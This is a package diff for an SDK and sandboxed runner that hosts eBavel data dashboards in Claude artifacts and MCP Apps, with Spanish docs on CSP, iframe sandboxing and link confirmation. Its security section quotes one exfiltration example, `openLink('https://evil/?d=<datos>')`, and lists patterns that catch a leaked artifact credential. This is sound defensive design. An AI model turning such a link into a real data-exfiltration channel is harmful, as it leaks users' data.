@bitam/ebavel-apps 0.0.0-stage → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md ADDED
@@ -0,0 +1,11 @@
1
+ # Registro de cambios
2
+
3
+ Formato: [Keep a Changelog](https://keepachangelog.com/es-ES/1.1.0/).
4
+
5
+ ## [0.1.0] — 2026-11-10
6
+
7
+ ### Añadido
8
+
9
+ - SDK `ebavel.*` para dashboards en artifacts de Claude y MCP Apps.
10
+ - Runner MCP Apps y recursos para distribuirlo.
11
+ - Licencia Apache 2.0.
package/LICENSE ADDED
@@ -0,0 +1,201 @@
1
+ Apache License
2
+ Version 2.0, January 2004
3
+ http://www.apache.org/licenses/
4
+
5
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
+
7
+ 1. Definitions.
8
+
9
+ "License" shall mean the terms and conditions for use, reproduction,
10
+ and distribution as defined by Sections 1 through 9 of this document.
11
+
12
+ "Licensor" shall mean the copyright owner or entity authorized by
13
+ the copyright owner that is granting the License.
14
+
15
+ "Legal Entity" shall mean the union of the acting entity and all
16
+ other entities that control, are controlled by, or are under common
17
+ control with that entity. For the purposes of this definition,
18
+ "control" means (i) the power, direct or indirect, to cause the
19
+ direction or management of such entity, whether by contract or
20
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21
+ outstanding shares, or (iii) beneficial ownership of such entity.
22
+
23
+ "You" (or "Your") shall mean an individual or Legal Entity
24
+ exercising permissions granted by this License.
25
+
26
+ "Source" form shall mean the preferred form for making modifications,
27
+ including but not limited to software source code, documentation
28
+ source, and configuration files.
29
+
30
+ "Object" form shall mean any form resulting from mechanical
31
+ transformation or translation of a Source form, including but
32
+ not limited to compiled object code, generated documentation,
33
+ and conversions to other media types.
34
+
35
+ "Work" shall mean the work of authorship, whether in Source or
36
+ Object form, made available under the License, as indicated by a
37
+ copyright notice that is included in or attached to the work
38
+ (an example is provided in the Appendix below).
39
+
40
+ "Derivative Works" shall mean any work, whether in Source or Object
41
+ form, that is based on (or derived from) the Work and for which the
42
+ editorial revisions, annotations, elaborations, or other modifications
43
+ represent, as a whole, an original work of authorship. For the purposes
44
+ of this License, Derivative Works shall not include works that remain
45
+ separable from, or merely link (or bind by name) to the interfaces of,
46
+ the Work and Derivative Works thereof.
47
+
48
+ "Contribution" shall mean any work of authorship, including
49
+ the original version of the Work and any modifications or additions
50
+ to that Work or Derivative Works thereof, that is intentionally
51
+ submitted to Licensor for inclusion in the Work by the copyright owner
52
+ or by an individual or Legal Entity authorized to submit on behalf of
53
+ the copyright owner. For the purposes of this definition, "submitted"
54
+ means any form of electronic, verbal, or written communication sent
55
+ to the Licensor or its representatives, including but not limited to
56
+ communication on electronic mailing lists, source code control systems,
57
+ and issue tracking systems that are managed by, or on behalf of, the
58
+ Licensor for the purpose of discussing and improving the Work, but
59
+ excluding communication that is conspicuously marked or otherwise
60
+ designated in writing by the copyright owner as "Not a Contribution."
61
+
62
+ "Contributor" shall mean Licensor and any individual or Legal Entity
63
+ on behalf of whom a Contribution has been received by Licensor and
64
+ subsequently incorporated within the Work.
65
+
66
+ 2. Grant of Copyright License. Subject to the terms and conditions of
67
+ this License, each Contributor hereby grants to You a perpetual,
68
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69
+ copyright license to reproduce, prepare Derivative Works of,
70
+ publicly display, publicly perform, sublicense, and distribute the
71
+ Work and such Derivative Works in Source or Object form.
72
+
73
+ 3. Grant of Patent License. Subject to the terms and conditions of
74
+ this License, each Contributor hereby grants to You a perpetual,
75
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76
+ (except as stated in this section) patent license to make, have made,
77
+ use, offer to sell, sell, import, and otherwise transfer the Work,
78
+ where such license applies only to those patent claims licensable
79
+ by such Contributor that are necessarily infringed by their
80
+ Contribution(s) alone or by combination of their Contribution(s)
81
+ with the Work to which such Contribution(s) was submitted. If You
82
+ institute patent litigation against any entity (including a
83
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84
+ or a Contribution incorporated within the Work constitutes direct
85
+ or contributory patent infringement, then any patent licenses
86
+ granted to You under this License for that Work shall terminate
87
+ as of the date such litigation is filed.
88
+
89
+ 4. Redistribution. You may reproduce and distribute copies of the
90
+ Work or Derivative Works thereof in any medium, with or without
91
+ modifications, and in Source or Object form, provided that You
92
+ meet the following conditions:
93
+
94
+ (a) You must give any other recipients of the Work or
95
+ Derivative Works a copy of this License; and
96
+
97
+ (b) You must cause any modified files to carry prominent notices
98
+ stating that You changed the files; and
99
+
100
+ (c) You must retain, in the Source form of any Derivative Works
101
+ that You distribute, all copyright, patent, trademark, and
102
+ attribution notices from the Source form of the Work,
103
+ excluding those notices that do not pertain to any part of
104
+ the Derivative Works; and
105
+
106
+ (d) If the Work includes a "NOTICE" text file as part of its
107
+ distribution, then any Derivative Works that You distribute must
108
+ include a readable copy of the attribution notices contained
109
+ within such NOTICE file, excluding those notices that do not
110
+ pertain to any part of the Derivative Works, in at least one
111
+ of the following places: within a NOTICE text file distributed
112
+ as part of the Derivative Works; within the Source form or
113
+ documentation, if provided along with the Derivative Works; or,
114
+ within a display generated by the Derivative Works, if and
115
+ wherever such third-party notices normally appear. The contents
116
+ of the NOTICE file are for informational purposes only and
117
+ do not modify the License. You may add Your own attribution
118
+ notices within Derivative Works that You distribute, alongside
119
+ or as an addendum to the NOTICE text from the Work, provided
120
+ that such additional attribution notices cannot be construed
121
+ as modifying the License.
122
+
123
+ You may add Your own copyright statement to Your modifications and
124
+ may provide additional or different license terms and conditions
125
+ for use, reproduction, or distribution of Your modifications, or
126
+ for any such Derivative Works as a whole, provided Your use,
127
+ reproduction, and distribution of the Work otherwise complies with
128
+ the conditions stated in this License.
129
+
130
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
131
+ any Contribution intentionally submitted for inclusion in the Work
132
+ by You to the Licensor shall be under the terms and conditions of
133
+ this License, without any additional terms or conditions.
134
+ Notwithstanding the above, nothing herein shall supersede or modify
135
+ the terms of any separate license agreement you may have executed
136
+ with Licensor regarding such Contributions.
137
+
138
+ 6. Trademarks. This License does not grant permission to use the trade
139
+ names, trademarks, service marks, or product names of the Licensor,
140
+ except as required for reasonable and customary use in describing the
141
+ origin of the Work and reproducing the content of the NOTICE file.
142
+
143
+ 7. Disclaimer of Warranty. Unless required by applicable law or
144
+ agreed to in writing, Licensor provides the Work (and each
145
+ Contributor provides its Contributions) on an "AS IS" BASIS,
146
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147
+ implied, including, without limitation, any warranties or conditions
148
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149
+ PARTICULAR PURPOSE. You are solely responsible for determining the
150
+ appropriateness of using or redistributing the Work and assume any
151
+ risks associated with Your exercise of permissions under this License.
152
+
153
+ 8. Limitation of Liability. In no event and under no legal theory,
154
+ whether in tort (including negligence), contract, or otherwise,
155
+ unless required by applicable law (such as deliberate and grossly
156
+ negligent acts) or agreed to in writing, shall any Contributor be
157
+ liable to You for damages, including any direct, indirect, special,
158
+ incidental, or consequential damages of any character arising as a
159
+ result of this License or out of the use or inability to use the
160
+ Work (including but not limited to damages for loss of goodwill,
161
+ work stoppage, computer failure or malfunction, or any and all
162
+ other commercial damages or losses), even if such Contributor
163
+ has been advised of the possibility of such damages.
164
+
165
+ 9. Accepting Warranty or Additional Liability. While redistributing
166
+ the Work or Derivative Works thereof, You may choose to offer,
167
+ and charge a fee for, acceptance of support, warranty, indemnity,
168
+ or other liability obligations and/or rights consistent with this
169
+ License. However, in accepting such obligations, You may act only
170
+ on Your own behalf and on Your sole responsibility, not on behalf
171
+ of any other Contributor, and only if You agree to indemnify,
172
+ defend, and hold each Contributor harmless for any liability
173
+ incurred by, or claims asserted against, such Contributor by reason
174
+ of your accepting any such warranty or additional liability.
175
+
176
+ END OF TERMS AND CONDITIONS
177
+
178
+ APPENDIX: How to apply the Apache License to your work.
179
+
180
+ To apply the Apache License to your work, attach the following
181
+ boilerplate notice, with the fields enclosed by brackets "[]"
182
+ replaced with your own identifying information. (Don't include
183
+ the brackets!) The text should be enclosed in the appropriate
184
+ comment syntax for the file format. We also recommend that a
185
+ file or class name and description of purpose be included on the
186
+ same "printed page" as the copyright notice for easier
187
+ identification within third-party archives.
188
+
189
+ Copyright 2026 BITAM
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
package/README.md CHANGED
@@ -1,3 +1,84 @@
1
- # Temporary Holding Version
1
+ # @bitam/ebavel-apps
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Dashboards de eBavel como **HTML/JS libre** que corren igual en un artifact de Claude y en una MCP App (SPEC §15, ADR 004). Dos piezas:
4
+
5
+ | Pieza | Qué es | Dónde |
6
+ |---|---|---|
7
+ | **SDK `ebavel.*`** | `ebavel.query`, `export`, `ready`, `theme`, `openLink`. Con un conductor por anfitrión (Claude, MCP Apps). Sin dependencias. | `dist/ebavel.js` (IIFE, global `ebavel`, para `<script src>`) y ESM (`import { ebavel }`) |
8
+ | **Runner MCP Apps** | `ui://ebavel/dashboard`: un solo HTML que monta el HTML del modelo en un iframe aislado y reenvía **solo** `query` y `export_dashboard`. | `dist/ebavel-runner.html` y `runnerResource()` en `./resource` |
9
+
10
+ Resumen y flujo de punta a punta en el [README raíz](../../README.md#dashboards-con-ebavel). La guía para el modelo es [`SDK.md`](./SDK.md) (será el recurso `ebavel://skill/dashboard` de `mcp3`). Ejemplo: [`examples/solicitudes.html`](./examples/solicitudes.html).
11
+
12
+ ## Exports
13
+
14
+ | Import | Contenido |
15
+ |---|---|
16
+ | `@bitam/ebavel-apps` | API del SDK (ESM): `ebavel`, `createSdk`, `getEbavel`, `EbavelAppError`, tipos. Es la misma instancia que `window.ebavel`. |
17
+ | `@bitam/ebavel-apps/ebavel.js` | `dist/ebavel.js`. También por CDN: `https://cdn.jsdelivr.net/npm/@bitam/ebavel-apps@X.Y.Z/dist/ebavel.js` (`unpkg`/`jsdelivr` apuntan aquí). |
18
+ | `@bitam/ebavel-apps/runner.html` | `dist/ebavel-runner.html`. |
19
+ | `@bitam/ebavel-apps/resource` | `runnerResource()` → `{ uri: 'ui://ebavel/dashboard', mimeType: 'text/html;profile=mcp-app', html, csp }` para `appResources` de `mcp3`. `csp.resourceDomains` = cdnjs, jsdelivr y unpkg; `connectDomains` vacío. |
20
+ | `@bitam/ebavel-apps/SDK.md`, `/examples/*` | La guía y el ejemplo. |
21
+
22
+ Paquete **público** en npm (`publishConfig.access: public`; D2 para este paquete), versión 0.1.0, **todavía no publicado**; no se publica desde aquí. Los demás paquetes `@bitam/*` son `private`.
23
+
24
+ ## Conductores
25
+
26
+ - **Claude** (V16, `docs/verificaciones/V16.md`): `mcp = await window.claude.use('mcp')` → `mcp.callTool(server, 'query', args)` → `payload` (o `JSON.parse(content[0].text)` si `payload` es nulo o falta). `isError` → `TOOL_ERROR`. Rechazos `{ code }`: `bad_request` → `TOOL_ERROR`; `server_not_connected`, `needs_reauth`, `selection_required` → `NOT_CONNECTED`; `not_in_manifest`, `approval_required`, `consent_required`, `blocked_by_policy` → `DECLINED`. El servidor sale de `ebavel.configure({ server })` o se descubre con `listTools()` (el único con `query` y `describe_form`) y se cachea.
27
+ - **MCP Apps**: protocolo `postMessage` `ebavel/1` entre el SDK (iframe interno) y el runner. Ver abajo.
28
+ - **Ninguno**: `host: 'none'`; `query` da `NOT_CONNECTED`. **No se fija para siempre:** si no hay `window.claude` ni respuesta a `hello`, el SDK reintenta `hello` con retroceso (0, 0,2, 0,5, 1, 2 y 3,5 s; ~5 s en total); si el runner contesta tarde se adopta, y la primera llamada vuelve a mirar `window.claude`. Una consulta temprana espera esos reintentos antes de `NOT_CONNECTED`.
29
+
30
+ ## Protocolo `ebavel/1`
31
+
32
+ Cada mensaje es `{ ebavel: 1, type, … }`. El SDK solo escucha a `window.parent`; el runner solo al `contentWindow` de su iframe (`event.source`); cada mensaje se valida en los dos sentidos (`src/sdk/protocol.ts`) y un `type` desconocido o una versión distinta recibe `error` con `UNSUPPORTED`.
33
+
34
+ | SDK → runner | Respuesta del runner |
35
+ |---|---|
36
+ | `hello { id }` (≤ 20/s) | `ready { id, theme, lang, vars, canExport }` |
37
+ | `query { id, args }` (≤ 128 KB, medido sin serializar) | `result { id, value }` (el `payload` de la tool) o `error { id, code, message, details? }` |
38
+ | `export { id }` (≤ 3 por minuto) | `result { id, value: { importUrl, expiresAt?, opened } }` cuando el usuario decide en la barra, o `error` (`UNSUPPORTED` si `draftId` es `null`; `DECLINED` al pasar el tope) |
39
+ | `openLink { id, url }` | `result { id, value: { opened } }` cuando el usuario decide, o `error` (`INVALID_ARGS` si no es `https:`, `UNSUPPORTED`, `DECLINED`) |
40
+ | `size { height }` (aviso, ≤ 20/s; entero) | — |
41
+ | — | `theme { theme, lang, vars }` (aviso al cambiar el tema del anfitrión) |
42
+
43
+ El runner atiende a lo más 4 llamadas en vuelo (cola acotada a 32; el SDK también limita a 4). Las variables de estilo se sanean (solo `--nombre` con valores sin `url()`). El alto del iframe se acota a 4000 px.
44
+
45
+ ## Enlaces: confirmación del usuario (C1)
46
+
47
+ Un dashboard es código no confiable: `openLink('https://evil/?d=<datos>')` sería un canal de exfiltración. Por eso **nada abre un enlace directamente**:
48
+
49
+ - **MCP Apps:** `openLink` y el `importUrl` de `export` pasan por una **barra de confirmación del runner** (`src/runner/confirm.ts`): DOM del runner, fuera del iframe interno, con la URL completa (dominio resaltado, siempre como texto) y los botones «Abrir enlace» y «Cancelar». `app.openLink` se llama **solo en el clic** de «Abrir enlace» (se habilita tras 400 ms y una sola vez por solicitud). Una solicitud pendiente a la vez: una nueva se **rechaza** (`DECLINED`), no reemplaza (la URL no cambia bajo el cursor). Tope de 5 solicitudes por minuto (cuentan todas); `export_dashboard`, 3 por minuto. Una solicitud sin respuesta caduca a los 45 s (`opened: false`). El resultado para el SDK es `{ opened }`. Si no se puede pedir confirmación en un `export` (otra solicitud pendiente, tope, o el anfitrión no abre enlaces), devuelve `opened: false` con el `importUrl`.
50
+ - **Claude:** el SDK y el código del artifact comparten realm: no hay frontera posible. `export()` y `openLink()` usan `window.open` **solo si `navigator.userActivation.isActive`** (gesto reciente del usuario). Si no, o si el navegador bloquea la ventana: `export()` → `{ importUrl, opened: false }` y `openLink()` → `{ opened: false, url }`; el dashboard debe **mostrar el enlace**. Un export lento (más de ~5 s) pierde la activación transitoria: es esperable.
51
+ - **`safeUrl`:** en producción, **solo `https:`**. `http://localhost` y `127.0.0.1` solo en la compilación de desarrollo del dev host (`buildAll({ dev: true })` define `__EBAVEL_DEV__`), nunca por defecto. (No hay `runnerResource({ dev })`: el HTML de desarrollo no se publica.)
52
+
53
+ ## Exportar sin credenciales
54
+
55
+ En Claude el documento del artifact trae `window.__FRAME_PREAMBLE` con una credencial (`cred`). `ebavel.export()` **nunca** envía `outerHTML` ni una copia del documento vivo: la **única fuente** es `<template id="ebavel-source">`, **obligatoria en Claude** (sin ella, `INVALID_ARGS` con instrucciones; ver `SDK.md`).
56
+
57
+ - Se toma una **instantánea** del contenido en `DOMContentLoaded` (o al cargar el SDK si el documento ya está listo); nunca se relee el DOM vivo. Una plantilla inyectada después, con datos, se ignora.
58
+ - Solo se acepta la **primera** plantilla hija directa de `<head>` o `<body>`; con más de un elemento con ese id, `INVALID_ARGS`.
59
+ - **Nada se borra en silencio.** Si el HTML a enviar contiene `__FRAME_` o una llave `cred` en cualquier forma (`"cred":`, `'cred':`, `cred:`, `` `cred` ``), lanza `INVALID_ARGS` y **no** envía (también si es código del autor).
60
+ - `export({ title })` se valida (texto) y se acota a 120 caracteres; también el título de la entrada del runner.
61
+ - El runner rechaza además un HTML con `__FRAME_PREAMBLE` (`INVALID_HTML`).
62
+
63
+ ## Runner: entrada y seguridad
64
+
65
+ - **Entrada:** el HTML llega en la entrada de la tool (`{ html, title }`); el resultado trae `structuredContent: { draftId, title, warnings }`. En la plataforma, `{ draftId: null }`: `ebavel.export()` responde `UNSUPPORTED` y `ready.canExport` es `false`.
66
+ - **Iframe interno:** `sandbox="allow-scripts"` (sin `allow-same-origin`, `allow-forms`, `allow-popups`, `allow-top-navigation`), `srcdoc` = CSP en `<meta>` + `x-dns-prefetch-control: off` + prólogo + SDK en línea + el HTML. El prólogo anula `RTCPeerConnection`, `webkitRTCPeerConnection`, `RTCDataChannel`, `RTCIceCandidate` y `RTCSessionDescription` (defensa en profundidad, **no infalible**: un iframe `about:blank` trae su propio realm; lo que cierra la red es la CSP y, para marcos, `frame-src 'none'` del runner). CSP interna: `default-src 'none'`; scripts, estilos, imágenes y fuentes solo en línea, `data:` y los tres CDNs; `connect-src 'none'`, `form-action 'none'`, `base-uri 'none'`. La CSP del runner añade `frame-src 'none'` (cierra la fuga por navegación del iframe; **pendiente confirmar en V14** que los anfitriones reales permiten el `srcdoc` con ella).
67
+ - El runner solo reenvía `query` y `export_dashboard` (`ToolName`; un test lo comprueba). Un resultado nuevo incrementa el contador de generación y descarta lo que sigue en vuelo del anterior y la confirmación pendiente (no se ofrece un enlace tardío).
68
+ - **Higiene:** la forma del mensaje se valida antes de medir su tamaño; `hello` y `size` tienen límite de frecuencia.
69
+ - **Alto:** el SDK avisa su alto (`size`, entero, ≤ 4000) y el runner ajusta el iframe; `App` (autoResize) lo notifica al anfitrión.
70
+ - **Build:** esbuild empaqueta ext-apps y el SDK; las dependencias que construyen funciones (Zod) se reescriben a un stub y la **verificación AST** (`scripts/dynamic-code.mjs`) exige que no quede `eval`/`Function` salvo una lista exacta con su razón y su conteo. Se aplica al SDK (sin excepciones) y al runner; **no** al HTML del modelo (contenido en tiempo de ejecución: lo contienen el sandbox y la CSP).
71
+
72
+ ## Desarrollo
73
+
74
+ | Comando | Qué hace |
75
+ |---|---|
76
+ | `npm run build -w @bitam/ebavel-apps` | tsup (`index`, `resource`) + `scripts/build.mjs` (`dist/ebavel.js`, `dist/ebavel-runner.html`). |
77
+ | `npm run dev:host -w @bitam/ebavel-apps` | http://localhost:5273: modo **MCP Apps (runner)** con `AppBridge` y `query` simulada con la forma real, y modo **Claude simulado** (`window.claude` falso con la forma de V16 + preámbulo con credencial falsa; el registro dice si `export_dashboard` la recibió). Compila con `dev: true` (acepta `http://localhost`). |
78
+ | `npm run ci` (raíz) | Puerta de calidad; el smoke comprueba el paquete, `./resource`, el runner y `dist/ebavel.js`. |
79
+
80
+ `dev/fake-query.ts` genera solicitudes ficticias y evalúa sobre ellas las consultas del ejemplo con la forma real de la respuesta de `mcp3` (`src/read/query/result.ts`). Las pruebas de efecto usan `parse5` (parser HTML conforme al estándar) para comprobar el orden del `srcdoc` parseado.
81
+
82
+ ## Medidas
83
+
84
+ `dist/ebavel.js` ≈ 15 KB (minificado); `dist/ebavel-runner.html` ≈ 350 KB (ext-apps + zod + SDK incrustado). Topes en `test/build.test.ts`.
package/SDK.md ADDED
@@ -0,0 +1,110 @@
1
+ # Dashboards de eBavel: guía del SDK `ebavel.*`
2
+
3
+ Un dashboard es **un solo HTML con JS libre**. Los datos salen **solo** de `ebavel.query(args)` (la tool `query`); nada de `fetch`, `window.claude`, `window.openai` ni claves. El mismo HTML corre como artifact de Claude y como MCP App (ChatGPT, plataforma BITAM).
4
+
5
+ ## Flujo
6
+ 1. `search_catalog` → `describe_form` para conocer formas y campos (nunca adivines nombres).
7
+ 2. Prueba **cada** query con la tool `query` y `dryRun` antes de escribir el HTML.
8
+ 3. Escribe el HTML con `ebavel.query` y la plantilla de abajo. En **Claude**: crea un **artifact HTML**. En otros clientes: llama a `render_dashboard({ html, title })` con el mismo HTML.
9
+ 4. Pon un botón **Exportar** que llame a `ebavel.export()`.
10
+
11
+ ## API v1
12
+ | Miembro | Qué hace |
13
+ |---|---|
14
+ | `ebavel.configure({ server?, timeoutMs? })` | `server`: nombre del conector en Claude (ver abajo). `timeoutMs`: por llamada (60 000). |
15
+ | `await ebavel.ready` | `{ host: 'claude'\|'mcp-apps'\|'none', theme, lang, canExport }`. Nunca rechaza. |
16
+ | `await ebavel.query(args, { signal? })` | Devuelve el `payload` de `query`, igual que lo ve el modelo: `{ success, allSucceeded, results: { alias: { ok, columns, rows, hasMore, … } } }`. |
17
+ | `await ebavel.export({ title? })` | `{ importUrl, expiresAt, opened }`. Si `opened` es `false`, **muestra `importUrl`** para copiarlo (ver «Enlaces»). |
18
+ | `ebavel.theme`, `ebavel.onThemeChange(fn)` | `'light'`/`'dark'`. `onThemeChange` devuelve la función que cancela. |
19
+ | `await ebavel.openLink(url)` | Pide abrir un enlace `https:`: `{ opened, url }`. Ver «Enlaces». |
20
+
21
+ El SDK pone `data-theme` en `<html>` y las variables `--color-*`/`--font-*` del anfitrión (úsalas con respaldo: `var(--color-text-primary, #1b1d21)`).
22
+
23
+ **Errores:** `EbavelAppError` con `code`: `NOT_CONNECTED` (sin anfitrión o conector no conectado/ambiguo/reautorizar), `DECLINED` (permiso negado, o demasiadas solicitudes de enlace), `TOOL_ERROR` (la tool falló; `err.details` trae el cuerpo), `UNSUPPORTED` (p. ej. exportar un dashboard ya guardado), `TIMEOUT`, `ABORTED`, `INVALID_ARGS`.
24
+
25
+ ## Plantilla (obligatoria): `<template id="ebavel-source">`
26
+ Todo el dashboard (estilos, marcado y scripts) va **dentro** de `<template id="ebavel-source">`, hija directa de `<body>`, y un arranque corto la monta. Es obligatorio: **en Claude, `ebavel.export()` solo envía el contenido de esa plantilla** (sin ella, `INVALID_ARGS`). El documento de un artifact de Claude trae una credencial (`__FRAME_PREAMBLE`, `cred`) que **nunca** se envía. Reglas: una sola plantilla (si hay más, `INVALID_ARGS`); el SDK toma una **instantánea** al cargar, así que no la modifiques después; y no escribas `__FRAME_` ni una llave `cred` (`"cred":`, `cred:`…) en tu código: el export falla con un error, **no** se borran en silencio.
27
+
28
+ ```html
29
+ <!doctype html>
30
+ <html lang="es">
31
+ <head>
32
+ <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
33
+ <title>Título del dashboard</title>
34
+ <script src="https://cdn.jsdelivr.net/npm/@bitam/ebavel-apps@0.1.0/dist/ebavel.js"></script>
35
+ </head>
36
+ <body>
37
+ <template id="ebavel-source">
38
+ <style>body{font:14px system-ui;margin:16px;color:var(--color-text-primary,#1b1d21);background:var(--color-background-primary,#fff)}</style>
39
+ <h1>Título</h1>
40
+ <section id="kpi">Cargando…</section>
41
+ <button id="exportar" type="button" hidden>Exportar</button> <span id="msg"></span>
42
+ <script>
43
+ const $ = (id) => document.getElementById(id);
44
+ const ENTITY = 'FRM_XXXXXXXX'; // UUID real, de describe_form
45
+
46
+ async function cargar() {
47
+ try {
48
+ const r = await ebavel.query({ queries: { total: { entity: ENTITY, aggregations: { n: { fn: 'count' } }, limit: 1 } } });
49
+ if (!r.success) throw new Error(r.errors?.[0]?.message ?? 'Sin respuesta');
50
+ const q = r.results.total;
51
+ if (!q.ok) throw new Error(q.error.message); // error por consulta
52
+ $('kpi').textContent = q.rows[0].n.toLocaleString('es-MX');
53
+ } catch (e) {
54
+ $('kpi').textContent = `No se pudo cargar (${e.code ?? 'error'}): ${e.message}`;
55
+ }
56
+ }
57
+ $('exportar').onclick = async () => {
58
+ try {
59
+ const x = await ebavel.export();
60
+ $('msg').textContent = x.opened ? 'Se abrió el enlace de importación.' : x.importUrl; // si no se abrió, se muestra
61
+ } catch (e) { $('msg').textContent = e.code === 'UNSUPPORTED' ? 'Ya está guardado.' : e.message; }
62
+ };
63
+ ebavel.ready.then((i) => { $('exportar').hidden = !i.canExport; });
64
+ cargar();
65
+ </script>
66
+ </template>
67
+ <script>
68
+ // Arranque estándar: monta la plantilla (los scripts de una plantilla no corren solos).
69
+ const fuente = document.getElementById('ebavel-source').content.cloneNode(true);
70
+ fuente.querySelectorAll('script').forEach((s) => { const n = document.createElement('script'); for (const a of s.attributes) n.setAttribute(a.name, a.value); n.textContent = s.textContent; n.async = false; s.replaceWith(n); });
71
+ document.body.append(fuente);
72
+ </script>
73
+ </body>
74
+ </html>
75
+ ```
76
+ No pintes contenido fuera de la plantilla ni de forma síncrona antes de `DOMContentLoaded`.
77
+
78
+ ## Enlaces: `openLink` y `export` no abren nada por su cuenta
79
+ - **MCP Apps (ChatGPT, plataforma):** el runner muestra su **propia barra de confirmación** con la URL completa y los botones «Abrir enlace»/«Cancelar». `openLink`/`export` se resuelven cuando el usuario decide (`opened: true` solo si pulsó «Abrir»). Una solicitud a la vez, ≤ 5 por minuto (`DECLINED` si no) y `export` ≤ 3 por minuto. No dependas de que se abra: si `opened` es `false`, muestra el enlace.
80
+ - **Claude (artifact):** el SDK y tu código comparten contexto, así que solo se abre una ventana con un **gesto reciente del usuario** (`navigator.userActivation.isActive`: un clic reciente, ~5 s). Si el export tarda más, o la ventana se bloquea, `opened` es `false`: **muestra `importUrl`** (un campo de texto para copiar). `openLink` devuelve `{ opened: false, url }` sin lanzar.
81
+ - Solo `https:`. Un enlace `http:`, `javascript:` o a `localhost` se rechaza (`INVALID_ARGS`/`TOOL_ERROR`).
82
+
83
+ ## En Claude (artifact)
84
+ - **Declara el conector eBavel** al crear el artifact. Al abrirlo, claude.ai muestra un modal de permisos («Este artefacto usa conectores… eBavel — Puede leer y hacer cambios»): **avisa al usuario** de que lo verá y debe aceptarlo.
85
+ - El servidor es el **nombre del conector en claude.ai** (no es fijo). Si el usuario lo conoce: `ebavel.configure({ server: 'Nombre' })`. Si no, el SDK lo descubre: el único conector con `query` y `describe_form`; con ninguno o varios da `NOT_CONNECTED` listando candidatos.
86
+ - Carga el SDK con el `<script src>` de jsdelivr con **versión fija**. No uses `window.claude` directamente. Un HTML con `__FRAME_PREAMBLE` o una llave `"cred"` se rechaza (`INVALID_ARGS`/`INVALID_HTML`): nunca pegues el HTML de otro artifact.
87
+
88
+ ## Límites de `query`: agrega en la query, no en el navegador
89
+ - **10 queries por llamada** y **50 filas por query**. Más datos = más llamadas (el SDK mantiene a lo más 4 en vuelo y encola el resto).
90
+ - Usa `aggregations` (`count`, `sum`…) y `groupBy`; un conteo por mes o por artículo es una query con `limit: 1`. Nunca traigas filas para sumarlas en JS.
91
+ - Si `hasMore` es `true`, el resultado está **incompleto**: no lo presentes como total (muestra un error o acota la query).
92
+ - Un valor de catálogo llega como `{ key, label }` y un vacío como `null`; cero ≠ `null`. Las filas del `groupBy` se indexan por el UUID del campo: búscalo en `columns[].key` por `name`.
93
+ - Una forma sin acceso da `ENTITY_UNAVAILABLE` en ese alias; las demás siguen (`allSucceeded`).
94
+
95
+ ## Bibliotecas (solo estos CDNs, versión fija)
96
+ `https://cdnjs.cloudflare.com`, `https://cdn.jsdelivr.net`, `https://unpkg.com`. Scripts, estilos, imágenes y fuentes solo de ahí, `data:` o en línea. Ej.: `https://cdn.jsdelivr.net/npm/d3@7.9.0/dist/d3.min.js` con `integrity="sha384-…"` y `crossorigin="anonymous"` (dentro de la plantilla). **Sin red:** `fetch`, XHR, WebSocket y WebRTC están bloqueados; tampoco hay `eval` ni `new Function` (evita bibliotecas que los usen), formularios, ventanas emergentes, marcos ni `localStorage`. Para SVG y gráficas simples no necesitas biblioteca.
97
+
98
+ ## Manejo de errores por sección
99
+ Cada sección carga su propio dataset y muestra su propio estado: **cargando** (esqueleto), **error** (mensaje + «Reintentar») y **vacío**. Un `NOT_CONNECTED` o `DECLINED` se avisa **una vez** arriba, no en cada cuadro. Usa `AbortController` al cambiar un filtro que relanza queries.
100
+
101
+ ## Errores comunes
102
+ - Llamar a `window.claude`, `fetch` o `dash` en vez de `ebavel.query`.
103
+ - **No envolver el dashboard en `<template id="ebavel-source">`** (en Claude, el export falla) o poner dos plantillas.
104
+ - Dar por hecho que `export()`/`openLink()` abren el enlace: revisa `opened` y muestra el enlace si es `false`.
105
+ - Olvidar `await`/`.catch` y dejar la sección en «Cargando…» para siempre.
106
+ - No revisar `r.success` y `r.results[alias].ok` (un error de la tool llega como respuesta normal).
107
+ - Sumar en JS filas truncadas (más de 50) o ignorar `hasMore`.
108
+ - Más de 10 queries en una llamada, o un UUID de campo donde va su **nombre** en `where`/`groupBy`.
109
+ - Cargar bibliotecas sin versión fija o de otro dominio.
110
+ - Mostrar el botón Exportar sin comprobar `canExport` (en la plataforma el dashboard ya está guardado).
@@ -0,0 +1,9 @@
1
+ // src/csp.ts
2
+ var CDN_ORIGINS = Object.freeze(["https://cdnjs.cloudflare.com", "https://cdn.jsdelivr.net", "https://unpkg.com"]);
3
+ var cdn = CDN_ORIGINS.join(" ");
4
+ var INNER_CSP = `default-src 'none'; script-src 'unsafe-inline' ${cdn}; style-src 'unsafe-inline' ${cdn}; img-src data: ${cdn}; font-src data: ${cdn}; connect-src 'none'; form-action 'none'; base-uri 'none'`;
5
+ var RUNNER_CSP = `script-src 'unsafe-inline' ${cdn}; style-src 'unsafe-inline' ${cdn}; img-src data: ${cdn}; font-src data: ${cdn}; connect-src 'none'; frame-src 'none'; object-src 'none'; form-action 'none'; base-uri 'none'`;
6
+
7
+ export {
8
+ CDN_ORIGINS
9
+ };